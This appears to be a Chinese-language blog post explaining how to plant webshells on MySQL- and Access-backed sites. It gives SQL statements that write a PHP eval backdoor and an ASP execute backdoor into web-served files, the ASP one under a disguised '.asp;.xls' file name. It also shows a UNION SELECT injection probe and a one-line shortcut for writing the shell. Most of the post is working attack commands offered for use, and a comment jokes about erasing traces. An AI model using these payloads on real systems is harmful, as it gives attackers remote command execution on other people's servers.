MySQL/ACCESS導出一句話拿WebShell後門命令

MySQL:

Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裏面就一個cmd字段
Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句話***插入到temp表
Select cmd from temp into out file F:/wwwroot/eval.php; //查詢temp表中的一句話並把結果導入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)

這幾句SQL很簡單,我做了簡單的註釋。
不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:

/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*

然後返回的頁面中可能會出現1~12之間的數字。這裏加入數字3顯示出來了。
如果我們把上面這句改成/**/UNION SELECT 1,2,zerosoul,4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句後面不帶from table語句的話,我們說查詢的數字或字符會直接返回到查詢結果裏。


既然這樣,我們爲何還要那麼麻煩去建一個表,先導入數據,再導出這樣折騰呢。

有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:

Select <? php eval($_POST[cmd]);?> into outfile F:/wwwroot/eval.php;

這樣做不但簡單明瞭,而且避免了誤刪別人的數據。


ACCESS:

create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("s")%>')
select * into [a] in 'E:\wz\ysnews1\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章